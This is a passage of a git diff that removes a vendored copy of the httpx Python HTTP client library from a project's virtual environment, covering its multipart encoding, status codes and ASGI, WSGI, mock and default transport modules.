uploads must be opened in binary mode, not text mode." - ) - - self.filename = filename - self.file = fileobj - self.headers = headers - - def get_length(self) -> int | None: - headers = self.render_headers() - - if isinstance(self.file, (str, bytes)): - return len(headers) + len(to_bytes(self.file)) - - file_length = peek_filelike_length(self.file) - - # If we can't determine the filesize without reading it into memory, - # then return `None` here, to indicate an unknown file length. - if file_length is None: - return None - - return len(headers) + file_length - - def render_headers(self) -> bytes: - if not hasattr(self, "_headers"): - parts = [ - b"Content-Disposition: form-data; ", - _format_form_param("name", self.name), - ] - if self.filename: - filename = _format_form_param("filename", self.filename) - parts.extend([b"; ", filename]) - for header_name, header_value in self.headers.items(): - key, val = f"\r\n{header_name}: ".encode(), header_value.encode() - parts.extend([key, val]) - parts.append(b"\r\n\r\n") - self._headers = b"".join(parts) - - return self._headers - - def render_data(self) -> typing.Iterator[bytes]: - if isinstance(self.file, (str, bytes)): - yield to_bytes(self.file) - return - - if hasattr(self.file, "seek"): - try: - self.file.seek(0) - except io.UnsupportedOperation: - pass - - chunk = self.file.read(self.CHUNK_SIZE) - while chunk: - yield to_bytes(chunk) - chunk = self.file.read(self.CHUNK_SIZE) - - def render(self) -> typing.Iterator[bytes]: - yield self.render_headers() - yield from self.render_data() - - -class MultipartStream(SyncByteStream, AsyncByteStream): - """ - Request content as streaming multipart encoded form data. - """ - - def __init__( - self, - data: RequestData, - files: RequestFiles, - boundary: bytes | None = None, - ) -> None: - if boundary is None: - boundary = os.urandom(16).hex().encode("ascii") - - self.boundary = boundary - self.content_type = "multipart/form-data; boundary=%s" % boundary.decode( - "ascii" - ) - self.fields = list(self._iter_fields(data, files)) - - def _iter_fields( - self, data: RequestData, files: RequestFiles - ) -> typing.Iterator[FileField | DataField]: - for name, value in data.items(): - if isinstance(value, (tuple, list)): - for item in value: - yield DataField(name=name, value=item) - else: - yield DataField(name=name, value=value) - - file_items = files.items() if isinstance(files, typing.Mapping) else files - for name, value in file_items: - yield FileField(name=name, value=value) - - def iter_chunks(self) -> typing.Iterator[bytes]: - for field in self.fields: - yield b"--%s\r\n" % self.boundary - yield from field.render() - yield b"\r\n" - yield b"--%s--\r\n" % self.boundary - - def get_content_length(self) -> int | None: - """ - Return the length of the multipart encoded content, or `None` if - any of the files have a length that cannot be determined upfront. - """ - boundary_length = len(self.boundary) - length = 0 - - for field in self.fields: - field_length = field.get_length() - if field_length is None: - return None - - length += 2 + boundary_length + 2 # b"--{boundary}\r\n" - length += field_length - length += 2 # b"\r\n" - - length += 2 + boundary_length + 4 # b"--{boundary}--\r\n" - return length - - # Content stream interface. - - def get_headers(self) -> dict[str, str]: - content_length = self.get_content_length() - content_type = self.content_type - if content_length is None: - return {"Transfer-Encoding": "chunked", "Content-Type": content_type} - return {"Content-Length": str(content_length), "Content-Type": content_type} - - def __iter__(self) -> typing.Iterator[bytes]: - for chunk in self.iter_chunks(): - yield chunk - - async def __aiter__(self) -> typing.AsyncIterator[bytes]: - for chunk in self.iter_chunks(): - yield chunk diff --git a/venv/Lib/site-packages/httpx/_status_codes.py b/venv/Lib/site-packages/httpx/_status_codes.py deleted file mode 100644 index 133a6231a5b53fd2f073799ca1bd07c50abe40ae..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpx/_status_codes.py +++ /dev/null @@ -1,162 +0,0 @@ -from __future__ import annotations - -from enum import IntEnum - -__all__ = ["codes"] - - -class codes(IntEnum): - """HTTP status codes and reason phrases - - Status codes from the following RFCs are all observed: - - * RFC 7231: Hypertext Transfer Protocol (HTTP/1.1), obsoletes 2616 - * RFC 6585: Additional HTTP Status Codes - * RFC 3229: Delta encoding in HTTP - * RFC 4918: HTTP Extensions for WebDAV, obsoletes 2518 - * RFC 5842: Binding Extensions to WebDAV - * RFC 7238: Permanent Redirect - * RFC 2295: Transparent Content Negotiation in HTTP - * RFC 2774: An HTTP Extension Framework - * RFC 7540: Hypertext Transfer Protocol Version 2 (HTTP/2) - * RFC 2324: Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0) - * RFC 7725: An HTTP Status Code to Report Legal Obstacles - * RFC 8297: An HTTP Status Code for Indicating Hints - * RFC 8470: Using Early Data in HTTP - """ - - def __new__(cls, value: int, phrase: str = "") -> codes: - obj = int.__new__(cls, value) - obj._value_ = value - - obj.phrase = phrase # type: ignore[attr-defined] - return obj - - def __str__(self) -> str: - return str(self.value) - - @classmethod - def get_reason_phrase(cls, value: int) -> str: - try: - return codes(value).phrase # type: ignore - except ValueError: - return "" - - @classmethod - def is_informational(cls, value: int) -> bool: - """ - Returns `True` for 1xx status codes, `False` otherwise. - """ - return 100 <= value <= 199 - - @classmethod - def is_success(cls, value: int) -> bool: - """ - Returns `True` for 2xx status codes, `False` otherwise. - """ - return 200 <= value <= 299 - - @classmethod - def is_redirect(cls, value: int) -> bool: - """ - Returns `True` for 3xx status codes, `False` otherwise. - """ - return 300 <= value <= 399 - - @classmethod - def is_client_error(cls, value: int) -> bool: - """ - Returns `True` for 4xx status codes, `False` otherwise. - """ - return 400 <= value <= 499 - - @classmethod - def is_server_error(cls, value: int) -> bool: - """ - Returns `True` for 5xx status codes, `False` otherwise. - """ - return 500 <= value <= 599 - - @classmethod - def is_error(cls, value: int) -> bool: - """ - Returns `True` for 4xx or 5xx status codes, `False` otherwise. - """ - return 400 <= value <= 599 - - # informational - CONTINUE = 100, "Continue" - SWITCHING_PROTOCOLS = 101, "Switching Protocols" - PROCESSING = 102, "Processing" - EARLY_HINTS = 103, "Early Hints" - - # success - OK = 200, "OK" - CREATED = 201, "Created" - ACCEPTED = 202, "Accepted" - NON_AUTHORITATIVE_INFORMATION = 203, "Non-Authoritative Information" - NO_CONTENT = 204, "No Content" - RESET_CONTENT = 205, "Reset Content" - PARTIAL_CONTENT = 206, "Partial Content" - MULTI_STATUS = 207, "Multi-Status" - ALREADY_REPORTED = 208, "Already Reported" - IM_USED = 226, "IM Used" - - # redirection - MULTIPLE_CHOICES = 300, "Multiple Choices" - MOVED_PERMANENTLY = 301, "Moved Permanently" - FOUND = 302, "Found" - SEE_OTHER = 303, "See Other" - NOT_MODIFIED = 304, "Not Modified" - USE_PROXY = 305, "Use Proxy" - TEMPORARY_REDIRECT = 307, "Temporary Redirect" - PERMANENT_REDIRECT = 308, "Permanent Redirect" - - # client error - BAD_REQUEST = 400, "Bad Request" - UNAUTHORIZED = 401, "Unauthorized" - PAYMENT_REQUIRED = 402, "Payment Required" - FORBIDDEN = 403, "Forbidden" - NOT_FOUND = 404, "Not Found" - METHOD_NOT_ALLOWED = 405, "Method Not Allowed" - NOT_ACCEPTABLE = 406, "Not Acceptable" - PROXY_AUTHENTICATION_REQUIRED = 407, "Proxy Authentication Required" - REQUEST_TIMEOUT = 408, "Request Timeout" - CONFLICT = 409, "Conflict" - GONE = 410, "Gone" - LENGTH_REQUIRED = 411, "Length Required" - PRECONDITION_FAILED = 412, "Precondition Failed" - REQUEST_ENTITY_TOO_LARGE = 413, "Request Entity Too Large" - REQUEST_URI_TOO_LONG = 414, "Request-URI Too Long" - UNSUPPORTED_MEDIA_TYPE = 415, "Unsupported Media Type" - REQUESTED_RANGE_NOT_SATISFIABLE = 416, "Requested Range Not Satisfiable" - EXPECTATION_FAILED = 417, "Expectation Failed" - IM_A_TEAPOT = 418, "I'm a teapot" - MISDIRECTED_REQUEST = 421, "Misdirected Request" - UNPROCESSABLE_ENTITY = 422, "Unprocessable Entity" - LOCKED = 423, "Locked" - FAILED_DEPENDENCY = 424, "Failed Dependency" - TOO_EARLY = 425, "Too Early" - UPGRADE_REQUIRED = 426, "Upgrade Required" - PRECONDITION_REQUIRED = 428, "Precondition Required" - TOO_MANY_REQUESTS = 429, "Too Many Requests" - REQUEST_HEADER_FIELDS_TOO_LARGE = 431, "Request Header Fields Too Large" - UNAVAILABLE_FOR_LEGAL_REASONS = 451, "Unavailable For Legal Reasons" - - # server errors - INTERNAL_SERVER_ERROR = 500, "Internal Server Error" - NOT_IMPLEMENTED = 501, "Not Implemented" - BAD_GATEWAY = 502, "Bad Gateway" - SERVICE_UNAVAILABLE = 503, "Service Unavailable" - GATEWAY_TIMEOUT = 504, "Gateway Timeout" - HTTP_VERSION_NOT_SUPPORTED = 505, "HTTP Version Not Supported" - VARIANT_ALSO_NEGOTIATES = 506, "Variant Also Negotiates" - INSUFFICIENT_STORAGE = 507, "Insufficient Storage" - LOOP_DETECTED = 508, "Loop Detected" - NOT_EXTENDED = 510, "Not Extended" - NETWORK_AUTHENTICATION_REQUIRED = 511, "Network Authentication Required" - - -# Include lower-case styles for `requests` compatibility. -for code in codes: - setattr(codes, code._name_.lower(), int(code)) diff --git a/venv/Lib/site-packages/httpx/_transports/__init__.py b/venv/Lib/site-packages/httpx/_transports/__init__.py deleted file mode 100644 index 7a321053b29bcd48698cf2bd74a1d19c8556aefb..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpx/_transports/__init__.py +++ /dev/null @@ -1,15 +0,0 @@ -from .asgi import * -from .base import * -from .default import * -from .mock import * -from .wsgi import * - -__all__ = [ - "ASGITransport", - "AsyncBaseTransport", - "BaseTransport", - "AsyncHTTPTransport", - "HTTPTransport", - "MockTransport", - "WSGITransport", -] diff --git a/venv/Lib/site-packages/httpx/_transports/asgi.py b/venv/Lib/site-packages/httpx/_transports/asgi.py deleted file mode 100644 index 2bc4efae0e1b14620f75f712eb15ecf500d14eef..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpx/_transports/asgi.py +++ /dev/null @@ -1,187 +0,0 @@ -from __future__ import annotations - -import typing - -from .._models import Request, Response -from .._types import AsyncByteStream -from .base import AsyncBaseTransport - -if typing.TYPE_CHECKING: # pragma: no cover - import asyncio - - import trio - - Event = typing.Union[asyncio.Event, trio.Event] - - -_Message = typing.MutableMapping[str, typing.Any] -_Receive = typing.Callable[[], typing.Awaitable[_Message]] -_Send = typing.Callable[ - [typing.MutableMapping[str, typing.Any]], typing.Awaitable[None] -] -_ASGIApp = typing.Callable[ - [typing.MutableMapping[str, typing.Any], _Receive, _Send], typing.Awaitable[None] -] - -__all__ = ["ASGITransport"] - - -def is_running_trio() -> bool: - try: - # sniffio is a dependency of trio. - - # See https://github.com/python-trio/trio/issues/2802 - import sniffio - - if sniffio.current_async_library() == "trio": - return True - except ImportError: # pragma: nocover - pass - - return False - - -def create_event() -> Event: - if is_running_trio(): - import trio - - return trio.Event() - - import asyncio - - return asyncio.Event() - - -class ASGIResponseStream(AsyncByteStream): - def __init__(self, body: list[bytes]) -> None: - self._body = body - - async def __aiter__(self) -> typing.AsyncIterator[bytes]: - yield b"".join(self._body) - - -class ASGITransport(AsyncBaseTransport): - """ - A custom AsyncTransport that handles sending requests directly to an ASGI app. - - ```python - transport = httpx.ASGITransport( - app=app, - root_path="/submount", - client=("1.2.3.4", 123) - ) - client = httpx.AsyncClient(transport=transport) - ``` - - Arguments: - - * `app` - The ASGI application. - * `raise_app_exceptions` - Boolean indicating if exceptions in the application - should be raised. Default to `True`. Can be set to `False` for use cases - such as testing the content of a client 500 response. - * `root_path` - The root path on which the ASGI application should be mounted. - * `client` - A two-tuple indicating the client IP and port of incoming requests. - ``` - """ - - def __init__( - self, - app: _ASGIApp, - raise_app_exceptions: bool = True, - root_path: str = "", - client: tuple[str, int] = ("127.0.0.1", 123), - ) -> None: - self.app = app - self.raise_app_exceptions = raise_app_exceptions - self.root_path = root_path - self.client = client - - async def handle_async_request( - self, - request: Request, - ) -> Response: - assert isinstance(request.stream, AsyncByteStream) - - # ASGI scope. - scope = { - "type": "http", - "asgi": {"version": "3.0"}, - "http_version": "1.1", - "method": request.method, - "headers": [(k.lower(), v) for (k, v) in request.headers.raw], - "scheme": request.url.scheme, - "path": request.url.path, - "raw_path": request.url.raw_path.split(b"?")[0], - "query_string": request.url.query, - "server": (request.url.host, request.url.port), - "client": self.client, - "root_path": self.root_path, - } - - # Request. - request_body_chunks = request.stream.__aiter__() - request_complete = False - - # Response. - status_code = None - response_headers = None - body_parts = [] - response_started = False - response_complete = create_event() - - # ASGI callables. - - async def receive() -> dict[str, typing.Any]: - nonlocal request_complete - - if request_complete: - await response_complete.wait() - return {"type": "http.disconnect"} - - try: - body = await request_body_chunks.__anext__() - except StopAsyncIteration: - request_complete = True - return {"type": "http.request", "body": b"", "more_body": False} - return {"type": "http.request", "body": body, "more_body": True} - - async def send(message: typing.MutableMapping[str, typing.Any]) -> None: - nonlocal status_code, response_headers, response_started - - if message["type"] == "http.response.start": - assert not response_started - - status_code = message["status"] - response_headers = message.get("headers", []) - response_started = True - - elif message["type"] == "http.response.body": - assert not response_complete.is_set() - body = message.get("body", b"") - more_body = message.get("more_body", False) - - if body and request.method != "HEAD": - body_parts.append(body) - - if not more_body: - response_complete.set() - - try: - await self.app(scope, receive, send) - except Exception: # noqa: PIE-786 - if self.raise_app_exceptions: - raise - - response_complete.set() - if status_code is None: - status_code = 500 - if response_headers is None: - response_headers = {} - - assert response_complete.is_set() - assert status_code is not None - assert response_headers is not None - - stream = ASGIResponseStream(body_parts) - - return Response(status_code, headers=response_headers, stream=stream) diff --git a/venv/Lib/site-packages/httpx/_transports/base.py b/venv/Lib/site-packages/httpx/_transports/base.py deleted file mode 100644 index 66fd99d702480b555c06694fe14715ea6df3dfc3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpx/_transports/base.py +++ /dev/null @@ -1,86 +0,0 @@ -from __future__ import annotations - -import typing -from types import TracebackType - -from .._models import Request, Response - -T = typing.TypeVar("T", bound="BaseTransport") -A = typing.TypeVar("A", bound="AsyncBaseTransport") - -__all__ = ["AsyncBaseTransport", "BaseTransport"] - - -class BaseTransport: - def __enter__(self: T) -> T: - return self - - def __exit__( - self, - exc_type: type[BaseException] | None = None, - exc_value: BaseException | None = None, - traceback: TracebackType | None = None, - ) -> None: - self.close() - - def handle_request(self, request: Request) -> Response: - """ - Send a single HTTP request and return a response. - - Developers shouldn't typically ever need to call into this API directly, - since the Client class provides all the higher level user-facing API - niceties. - - In order to properly release any network resources, the response - stream should *either* be consumed immediately, with a call to - `response.stream.read()`, or else the `handle_request` call should - be followed with a try/finally block to ensuring the stream is - always closed. - - Example usage: - - with httpx.HTTPTransport() as transport: - req = httpx.Request( - method=b"GET", - url=(b"https", b"www.example.com", 443, b"/"), - headers=[(b"Host", b"www.example.com")], - ) - resp = transport.handle_request(req) - body = resp.stream.read() - print(resp.status_code, resp.headers, body) - - - Takes a `Request` instance as the only argument. - - Returns a `Response` instance. - """ - raise NotImplementedError( - "The 'handle_request' method must be implemented." - ) # pragma: no cover - - def close(self) -> None: - pass - - -class AsyncBaseTransport: - async def __aenter__(self: A) -> A: - return self - - async def __aexit__( - self, - exc_type: type[BaseException] | None = None, - exc_value: BaseException | None = None, - traceback: TracebackType | None = None, - ) -> None: - await self.aclose() - - async def handle_async_request( - self, - request: Request, - ) -> Response: - raise NotImplementedError( - "The 'handle_async_request' method must be implemented." - ) # pragma: no cover - - async def aclose(self) -> None: - pass diff --git a/venv/Lib/site-packages/httpx/_transports/default.py b/venv/Lib/site-packages/httpx/_transports/default.py deleted file mode 100644 index d5aa05ff234fd3fbf4fee88c4a7d3e3c151a538f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpx/_transports/default.py +++ /dev/null @@ -1,406 +0,0 @@ -""" -Custom transports, with nicely configured defaults. - -The following additional keyword arguments are currently supported by httpcore... - -* uds: str -* local_address: str -* retries: int - -Example usages... - -# Disable HTTP/2 on a single specific domain. -mounts = { - "all://": httpx.HTTPTransport(http2=True), - "all://*example.org": httpx.HTTPTransport() -} - -# Using advanced httpcore configuration, with connection retries. -transport = httpx.HTTPTransport(retries=1) -client = httpx.Client(transport=transport) - -# Using advanced httpcore configuration, with unix domain sockets. -transport = httpx.HTTPTransport(uds="socket.uds") -client = httpx.Client(transport=transport) -""" - -from __future__ import annotations - -import contextlib -import typing -from types import TracebackType - -if typing.TYPE_CHECKING: - import ssl # pragma: no cover - - import httpx # pragma: no cover - -from .._config import DEFAULT_LIMITS, Limits, Proxy, create_ssl_context -from .._exceptions import ( - ConnectError, - ConnectTimeout, - LocalProtocolError, - NetworkError, - PoolTimeout, - ProtocolError, - ProxyError, - ReadError, - ReadTimeout, - RemoteProtocolError, - TimeoutException, - UnsupportedProtocol, - WriteError, - WriteTimeout, -) -from .._models import Request, Response -from .._types import AsyncByteStream, CertTypes, ProxyTypes, SyncByteStream -from .._urls import URL -from .base import AsyncBaseTransport, BaseTransport - -T = typing.TypeVar("T", bound="HTTPTransport") -A = typing.TypeVar("A", bound="AsyncHTTPTransport") - -SOCKET_OPTION = typing.Union[ - typing.Tuple[int, int, int], - typing.Tuple[int, int, typing.Union[bytes, bytearray]], - typing.Tuple[int, int, None, int], -] - -__all__ = ["AsyncHTTPTransport", "HTTPTransport"] - -HTTPCORE_EXC_MAP: dict[type[Exception], type[httpx.HTTPError]] = {} - - -def _load_httpcore_exceptions() -> dict[type[Exception], type[httpx.HTTPError]]: - import httpcore - - return { - httpcore.TimeoutException: TimeoutException, - httpcore.ConnectTimeout: ConnectTimeout, - httpcore.ReadTimeout: ReadTimeout, - httpcore.WriteTimeout: WriteTimeout, - httpcore.PoolTimeout: PoolTimeout, - httpcore.NetworkError: NetworkError, - httpcore.ConnectError: ConnectError, - httpcore.ReadError: ReadError, - httpcore.WriteError: WriteError, - httpcore.ProxyError: ProxyError, - httpcore.UnsupportedProtocol: UnsupportedProtocol, - httpcore.ProtocolError: ProtocolError, - httpcore.LocalProtocolError: LocalProtocolError, - httpcore.RemoteProtocolError: RemoteProtocolError, - } - - -@contextlib.contextmanager -def map_httpcore_exceptions() -> typing.Iterator[None]: - global HTTPCORE_EXC_MAP - if len(HTTPCORE_EXC_MAP) == 0: - HTTPCORE_EXC_MAP = _load_httpcore_exceptions() - try: - yield - except Exception as exc: - mapped_exc = None - - for from_exc, to_exc in HTTPCORE_EXC_MAP.items(): - if not isinstance(exc, from_exc): - continue - # We want to map to the most specific exception we can find. - # Eg if `exc` is an `httpcore.ReadTimeout`, we want to map to - # `httpx.ReadTimeout`, not just `httpx.TimeoutException`. - if mapped_exc is None or issubclass(to_exc, mapped_exc): - mapped_exc = to_exc - - if mapped_exc is None: # pragma: no cover - raise - - message = str(exc) - raise mapped_exc(message) from exc - - -class ResponseStream(SyncByteStream): - def __init__(self, httpcore_stream: typing.Iterable[bytes]) -> None: - self._httpcore_stream = httpcore_stream - - def __iter__(self) -> typing.Iterator[bytes]: - with map_httpcore_exceptions(): - for part in self._httpcore_stream: - yield part - - def close(self) -> None: - if hasattr(self._httpcore_stream, "close"): - self._httpcore_stream.close() - - -class HTTPTransport(BaseTransport): - def __init__( - self, - verify: ssl.SSLContext | str | bool = True, - cert: CertTypes | None = None, - trust_env: bool = True, - http1: bool = True, - http2: bool = False, - limits: Limits = DEFAULT_LIMITS, - proxy: ProxyTypes | None = None, - uds: str | None = None, - local_address: str | None = None, - retries: int = 0, - socket_options: typing.Iterable[SOCKET_OPTION] | None = None, - ) -> None: - import httpcore - - proxy = Proxy(url=proxy) if isinstance(proxy, (str, URL)) else proxy - ssl_context = create_ssl_context(verify=verify, cert=cert, trust_env=trust_env) - - if proxy is None: - self._pool = httpcore.ConnectionPool( - ssl_context=ssl_context, - max_connections=limits.max_connections, - max_keepalive_connections=limits.max_keepalive_connections, - keepalive_expiry=limits.keepalive_expiry, - http1=http1, - http2=http2, - uds=uds, - local_address=local_address, - retries=retries, - socket_options=socket_options, - ) - elif proxy.url.scheme in ("http", "https"): - self._pool = httpcore.HTTPProxy( - proxy_url=httpcore.URL( - scheme=proxy.url.raw_scheme, - host=proxy.url.raw_host, - port=proxy.url.port, - target=proxy.url.raw_path, - ), - proxy_auth=proxy.raw_auth, - proxy_headers=proxy.headers.raw, - ssl_context=ssl_context, - proxy_ssl_context=proxy.ssl_context, - max_connections=limits.max_connections, - max_keepalive_connections=limits.max_keepalive_connections, - keepalive_expiry=limits.keepalive_expiry, - http1=http1, - http2=http2, - socket_options=socket_options, - ) - elif proxy.url.scheme in ("socks5", "socks5h"): - try: - import socksio # noqa - except ImportError: # pragma: no cover - raise ImportError( - "Using SOCKS proxy, but the 'socksio' package is not installed. " - "Make sure to install httpx using `pip install httpx[socks]`." - ) from None - - self._pool = httpcore.SOCKSProxy( - proxy_url=httpcore.URL( - scheme=proxy.url.raw_scheme, - host=proxy.url.raw_host, - port=proxy.url.port, - target=proxy.url.raw_path, - ), - proxy_auth=proxy.raw_auth, - ssl_context=ssl_context, - max_connections=limits.max_connections, - max_keepalive_connections=limits.max_keepalive_connections, - keepalive_expiry=limits.keepalive_expiry, - http1=http1, - http2=http2, - ) - else: # pragma: no cover - raise ValueError( - "Proxy protocol must be either 'http', 'https', 'socks5', or 'socks5h'," - f" but got {proxy.url.scheme!r}." - ) - - def __enter__(self: T) -> T: # Use generics for subclass support. - self._pool.__enter__() - return self - - def __exit__( - self, - exc_type: type[BaseException] | None = None, - exc_value: BaseException | None = None, - traceback: TracebackType | None = None, - ) -> None: - with map_httpcore_exceptions(): - self._pool.__exit__(exc_type, exc_value, traceback) - - def handle_request( - self, - request: Request, - ) -> Response: - assert isinstance(request.stream, SyncByteStream) - import httpcore - - req = httpcore.Request( - method=request.method, - url=httpcore.URL( - scheme=request.url.raw_scheme, - host=request.url.raw_host, - port=request.url.port, - target=request.url.raw_path, - ), - headers=request.headers.raw, - content=request.stream, - extensions=request.extensions, - ) - with map_httpcore_exceptions(): - resp = self._pool.handle_request(req) - - assert isinstance(resp.stream, typing.Iterable) - - return Response( - status_code=resp.status, - headers=resp.headers, - stream=ResponseStream(resp.stream), - extensions=resp.extensions, - ) - - def close(self) -> None: - self._pool.close() - - -class AsyncResponseStream(AsyncByteStream): - def __init__(self, httpcore_stream: typing.AsyncIterable[bytes]) -> None: - self._httpcore_stream = httpcore_stream - - async def __aiter__(self) -> typing.AsyncIterator[bytes]: - with map_httpcore_exceptions(): - async for part in self._httpcore_stream: - yield part - - async def aclose(self) -> None: - if hasattr(self._httpcore_stream, "aclose"): - await self._httpcore_stream.aclose() - - -class AsyncHTTPTransport(AsyncBaseTransport): - def __init__( - self, - verify: ssl.SSLContext | str | bool = True, - cert: CertTypes | None = None, - trust_env: bool = True, - http1: bool = True, - http2: bool = False, - limits: Limits = DEFAULT_LIMITS, - proxy: ProxyTypes | None = None, - uds: str | None = None, - local_address: str | None = None, - retries: int = 0, - socket_options: typing.Iterable[SOCKET_OPTION] | None = None, - ) -> None: - import httpcore - - proxy = Proxy(url=proxy) if isinstance(proxy, (str, URL)) else proxy - ssl_context = create_ssl_context(verify=verify, cert=cert, trust_env=trust_env) - - if proxy is None: - self._pool = httpcore.AsyncConnectionPool( - ssl_context=ssl_context, - max_connections=limits.max_connections, - max_keepalive_connections=limits.max_keepalive_connections, - keepalive_expiry=limits.keepalive_expiry, - http1=http1, - http2=http2, - uds=uds, - local_address=local_address, - retries=retries, - socket_options=socket_options, - ) - elif proxy.url.scheme in ("http", "https"): - self._pool = httpcore.AsyncHTTPProxy( - proxy_url=httpcore.URL( - scheme=proxy.url.raw_scheme, - host=proxy.url.raw_host, - port=proxy.url.port, - target=proxy.url.raw_path, - ), - proxy_auth=proxy.raw_auth, - proxy_headers=proxy.headers.raw, - proxy_ssl_context=proxy.ssl_context, - ssl_context=ssl_context, - max_connections=limits.max_connections, - max_keepalive_connections=limits.max_keepalive_connections, - keepalive_expiry=limits.keepalive_expiry, - http1=http1, - http2=http2, - socket_options=socket_options, - ) - elif proxy.url.scheme in ("socks5", "socks5h"): - try: - import socksio # noqa - except ImportError: # pragma: no cover - raise ImportError( - "Using SOCKS proxy, but the 'socksio' package is not installed. " - "Make sure to install httpx using `pip install httpx[socks]`." - ) from None - - self._pool = httpcore.AsyncSOCKSProxy( - proxy_url=httpcore.URL( - scheme=proxy.url.raw_scheme, - host=proxy.url.raw_host, - port=proxy.url.port, - target=proxy.url.raw_path, - ), - proxy_auth=proxy.raw_auth, - ssl_context=ssl_context, - max_connections=limits.max_connections, - max_keepalive_connections=limits.max_keepalive_connections, - keepalive_expiry=limits.keepalive_expiry, - http1=http1, - http2=http2, - ) - else: # pragma: no cover - raise ValueError( - "Proxy protocol must be either 'http', 'https', 'socks5', or 'socks5h'," - " but got {proxy.url.scheme!r}." - ) - - async def __aenter__(self: A) -> A: # Use generics for subclass support. - await self._pool.__aenter__() - return self - - async def __aexit__( - self, - exc_type: type[BaseException] | None = None, - exc_value: BaseException | None = None, - traceback: TracebackType | None = None, - ) -> None: - with map_httpcore_exceptions(): - await self._pool.__aexit__(exc_type, exc_value, traceback) - - async def handle_async_request( - self, - request: Request, - ) -> Response: - assert isinstance(request.stream, AsyncByteStream) - import httpcore - - req = httpcore.Request( - method=request.method, - url=httpcore.URL( - scheme=request.url.raw_scheme, - host=request.url.raw_host, - port=request.url.port, - target=request.url.raw_path, - ), - headers=request.headers.raw, - content=request.stream, - extensions=request.extensions, - ) - with map_httpcore_exceptions(): - resp = await self._pool.handle_async_request(req) - - assert isinstance(resp.stream, typing.AsyncIterable) - - return Response( - status_code=resp.status, - headers=resp.headers, - stream=AsyncResponseStream(resp.stream), - extensions=resp.extensions, - ) - - async def aclose(self) -> None: - await self._pool.aclose() diff --git a/venv/Lib/site-packages/httpx/_transports/mock.py b/venv/Lib/site-packages/httpx/_transports/mock.py deleted file mode 100644 index 8c418f59e06cae43abdbb626ec21cafc7e8c6277..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpx/_transports/mock.py +++ /dev/null @@ -1,43 +0,0 @@ -from __future__ import annotations - -import typing - -from .._models import Request, Response -from .base import AsyncBaseTransport, BaseTransport - -SyncHandler = typing.Callable[[Request], Response] -AsyncHandler = typing.Callable[[Request], typing.Coroutine[None, None, Response]] - - -__all__ = ["MockTransport"] - - -class MockTransport(AsyncBaseTransport, BaseTransport): - def __init__(self, handler: SyncHandler | AsyncHandler) -> None: - self.handler = handler - - def handle_request( - self, - request: Request, - ) -> Response: - request.read() - response = self.handler(request) - if not isinstance(response, Response): # pragma: no cover - raise TypeError("Cannot use an async handler in a sync Client") - return response - - async def handle_async_request( - self, - request: Request, - ) -> Response: - await request.aread() - response = self.handler(request) - - # Allow handler to *optionally* be an `async` function. - # If it is, then the `response` variable need to be awaited to actually - # return the result. - - if not isinstance(response, Response): - response = await response - - return response diff --git a/venv/Lib/site-packages/httpx/_transports/wsgi.py b/venv/Lib/site-packages/httpx/_transports/wsgi.py deleted file mode 100644 index 8592ffe017a87367cc7578184540096a9682908d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpx/_transports/wsgi.py +++ /dev/null @@ -1,149 +0,0 @@ -from __future__ import annotations - -import io -import itertools -import sys -import typing - -from .._models import Request, Response -from .._types import SyncByteStream -from .base import BaseTransport - -if typing.TYPE_CHECKING: - from _typeshed import OptExcInfo # pragma: no cover - from _typeshed.wsgi import WSGIApplication # pragma: no cover - -_T = typing.TypeVar("_T") - - -__all__ = ["WSGITransport"] - - -def _skip_leading_empty_chunks(body: typing.Iterable[_T]) -> typing.Iterable[_T]: - body = iter(body) - for chunk in body: - if chunk: - return itertools.chain([chunk], body) - return [] - - -class WSGIByteStream(SyncByteStream): - def __init__(self, result: typing.Iterable[bytes]) -> None: - self._close = getattr(result, "close", None) - self._result = _skip_leading_empty_chunks(result) - - def __iter__(self) -> typing.Iterator[bytes]: - for part in self._result: - yield part - - def close(self) -> None: - if self._close is not None: - self._close() - - -class WSGITransport(BaseTransport): - """ - A custom transport that handles sending requests directly to an WSGI app. - The simplest way to use this functionality is to use the `app` argument. - - ``` - client = httpx.Client(app=app) - ``` - - Alternatively, you can setup the transport instance explicitly. - This allows you to include any additional configuration arguments specific - to the WSGITransport class: - - ``` - transport = httpx.WSGITransport( - app=app, - script_name="/submount", - remote_addr="1.2.3.4" - ) - client = httpx.Client(transport=transport) - ``` - - Arguments: - - * `app` - The WSGI application. - * `raise_app_exceptions` - Boolean indicating if exceptions in the application - should be raised. Default to `True`. Can be set to `False` for use cases - such as testing the content of a client 500 response. - * `script_name` - The root path on which the WSGI application should be mounted. - * `remote_addr` - A string indicating the client IP of incoming requests. - ``` - """ - - def __init__( - self, - app: WSGIApplication, - raise_app_exceptions: bool = True, - script_name: str = "", - remote_addr: str = "127.0.0.1", - wsgi_errors: typing.TextIO | None = None, - ) -> None: - self.app = app - self.raise_app_exceptions = raise_app_exceptions - self.script_name = script_name - self.remote_addr = remote_addr - self.wsgi_errors = wsgi_errors - - def handle_request(self, request: Request) -> Response: - request.read() - wsgi_input = io.BytesIO(request.content) - - port = request.url.port or {"http": 80, "https": 443}[request.url.scheme] - environ = { - "wsgi.version": (1, 0), - "wsgi.url_scheme": request.url.scheme, - "wsgi.input": wsgi_input, - "wsgi.errors": self.wsgi_errors or sys.stderr, - "wsgi.multithread": True, - "wsgi.multiprocess": False, - "wsgi.run_once": False, - "REQUEST_METHOD": request.method, - "SCRIPT_NAME": self.script_name, - "PATH_INFO": request.url.path, - "QUERY_STRING": request.url.query.decode("ascii"), - "SERVER_NAME": request.url.host, - "SERVER_PORT": str(port), - "SERVER_PROTOCOL": "HTTP/1.1", - "REMOTE_ADDR": self.remote_addr, - } - for header_key, header_value in request.headers.raw: - key = header_key.decode("ascii").upper().replace("-", "_") - if key not in ("CONTENT_TYPE", "CONTENT_LENGTH"): - key = "HTTP_" + key - environ[key] = header_value.decode("ascii") - - seen_status = None - seen_response_headers = None - seen_exc_info = None - - def start_response( - status: str, - response_headers: list[tuple[str, str]], - exc_info: OptExcInfo | None = None, - ) -> typing.Callable[[bytes], typing.Any]: - nonlocal seen_status, seen_response_headers, seen_exc_info - seen_status = status - seen_response_headers = response_headers - seen_exc_info = exc_info - 